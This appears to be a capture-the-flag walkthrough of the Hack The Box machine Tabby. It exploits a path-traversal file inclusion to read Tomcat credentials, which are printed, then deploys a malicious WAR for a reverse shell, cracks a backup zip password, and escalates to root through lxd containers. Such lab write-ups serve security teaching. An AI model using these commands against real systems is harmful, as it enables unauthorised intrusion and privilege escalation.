Skip to main content

HTB Tabby

HTB : TABBY

Initial Recon

I started the initial recon using nmap

nmap -sS -sC -sV  10.10.10.194 > rec_ini

So we that a http server is open and an Apache tomcat server is also open, along with an ssh I’ll let the al ports scan run in the backgroun while I check the web page and the tomcat.

nmap -p- -T5 10.10.10.194 > all_ports

After looking at the home page I couldn’t find much at the home page. All the links direct back to the same page.

Now I’ll take a look at the port 8080 that is the apache tomcat server. After looking at the default tomcat webpage this is what I found:

So after going through the documentation and also installing the Tomcat9 service locally I came to the conclusion that, the tomcat-users.xml can be read and there is a LFI in the Home page. After looking at the homepage I found out that there is a link which resolves to http://www.megahosting.htb/news.php?file=statement

This looks like an obvious LFI vector.

So I looked into my own installation of the tomcat server and found out that the path of the file mentioned in the server i.e /etc/tomcat9/tomcat-users.xml cannot be accessed without the root priviledges, however there is another copy of the file in

/usr/share/tomcat9/etc/tomcat-users.xml

This is actually accessible without the root priviledges.

So I tried going for the LFI in the URL http://10.10.10.194/news.php?file=../../usr/share/tomcat9/etc/tomcat-users.xml

Finally the follwing command gave me the file:

curl http://10.10.10.194/news.php?file=../../../../usr/share/tomcat9/etc/tomcat-users.xml

The use and the password for the host-manager is:

tomcat:$3cureP4s5w0rd123!

I look into the documentation of the host-manager script api. This is what I found :

Main list of commands :


   1 list
   2 add
   3 remove
   4 start
   5 stop
   6 persist

list command

 curl -u test:test http://localhost:8080/host-manager/text/list 

add command

***Used for adding a new virtual host to the server


  1  String name: Name of the virtual host. REQUIRED
  2  String aliases: Aliases for your virtual host.
  3  String appBase: Base path for the application that will be served by this virtual host. Provide relative or absolute path.
  4  Boolean manager: If true, the Manager app is added to the virtual host. You can access it with the /manager context.
  5  Boolean autoDeploy: If true, Tomcat automatically redeploys applications placed in the appBase directory.
  6  Boolean deployOnStartup: If true, Tomcat automatically deploys applications placed in the appBase directory on startup.
  7  Boolean deployXML: If true, the /META-INF/context.xml file is read and used by Tomcat.
  8  Boolean copyXML: If true, Tomcat copies /META-INF/context.xml file and uses the original copy regardless of updates to the application's /META-INF/context.xml file.
curl -u test:test http://localhost:8080/host-manager/text/add?name=www.awesomeserver.com&aliases=awesomeserver.com&appBase/mnt/appDir&deployOnStartup=true

After getting the host-manager

Now we have access to the host-manager, but we need to know and control the path of the application that we want to deploy, as a vhost.

However, I found that I wasn’t able to upload any file as the host-manager though the host manager gui. So, I went back to my notes and looked at the tomcat-users.xml. I found something interesting.

  <role rolename="admin-gui"/>
   <role rolename="manager-script"/>
   <user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>
</tomcat-users>

It says in the role that the tomcat user has access to the manager through using the same password. Let’s try this:

curl -u tomcat http://10.10.10.194:8080/manager/text/list

We will be prompted for the password and we get the following output:

So, there are some other people running shells on the server.

Using the following way we can try to deploy our application

curl -u tomcattext:baeldung "http://localhost:8080/manager/text/deploy?path=/sample&war=file:/tmp/sample.war"

I used the following to upload the .war from my machine to the server

curl -X PUT -T "/home/dosxuz/tabby/smb/lewra.war" -u tomcat "http://10.10.10.194:8080/manager/text/deploy?path=/tmp/lewrachoda"

Then I visited the path where I uploaded my file to and got the reverse shell to my netcat:

After getting connection I spawned a python shell:

python3 -c 'import pty;pty.spawn("/bin/bash")'

I went to the temp directory and ran linpeas.sh

Found some interesting files like:

1 /var/www/html/files/16162020_backup.zip USELESS

2 Users with console:

ash:x:1000:1000:clive:/home/ash:/bin/bash

3 This is run by the user ash

lxc exec ignite /bin/sh

4 Something interesting……..

ash:x:1000:1000:clive:/home/ash:/bin/bash

5 16162020_backup.zip —————> Backup file found in the /var/www/html/files folder.

It seemed to be password protected. So I got it to my local machine and cracked the password using fcrackzip

fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u 16162020_backup.zip

Password of the file : admin@it

After getting that password I used it to escalate my priviledge to the user ash.

su ash

Priviledge Escalation

After looking into the output by linpeas I came to know about the lxc group that is present in there.

Members of the sudo group are by default added to the lxc group and can be used as a priviledge escalation vector. So I clone the lxd alphine builder repository.

https://github.com/saghul/lxd-alpine-builder.git

Then build the image using the alphine pxd builder

./build-alpine -a x86_64

The option -a defines the architecture that is 64 bit architecture.

So, we need to run this image on the server and go through the file to get to root

I used scp to transfer the image to the server

Before that I had created and placed my ssh keys to the server

scp -i ~/.ssh/id_rsa alpine-v3.12-x86_64-20200630_1510.tar.gz ash@10.10.10.194:

Then use the following commands to create the virtual machine and run the VM

 lxc image import alpine-v3.12-x86_64-20200630_1510.tar.gz --alias lewra

This will basically unpack the image and set it up.

lxc init lewra lewrachoda -c security.privileged=true

Now this will create an instance of the image that will be running

lxc config device add lewrachoda host-root disk source=/ path=/mnt/root

This lets us add the hard drive to the VM. Path defines where the VM will be mounted.

lxc start lewrachoda 

This starts our VM

lxc exec lewrachoda /bin/sh

This makes our VM execute /bin/sh

So if we cd to /mnt and check we will see that there is a whole filesystem.

From here if we go to the root folder we will be able to read the root.txt